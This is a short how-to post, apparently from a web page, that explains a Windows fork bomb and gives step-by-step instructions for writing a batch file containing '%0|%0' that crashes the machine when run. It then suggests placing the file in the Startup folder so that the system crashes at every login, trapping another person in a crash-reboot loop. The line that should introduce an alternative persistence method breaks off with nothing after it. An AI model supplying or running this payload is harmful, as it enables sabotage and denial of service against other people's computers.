A self-doubling virus
A fork bomb aka Rabbit Virus is a denial-of-service attack wherein a process continually replicates itself to deplete available system resources, slowing down or crashing the system due to resource starvation.
Initiating a system crash
On a Windows system:
- Open notepad
- Type %0|%0
- Save the file to your desktop as anything.bat
- Double-click the file on your desktop
And once you turn it back on it will be back to normal. Voila!
In case you wish to make it permanent, then add it to the Startup folder or:
This will run every time you log in. Hence you'll just get into a cycle of iterating crash, reboot, crash, reboot etc. Unless the person knows how to get out of it.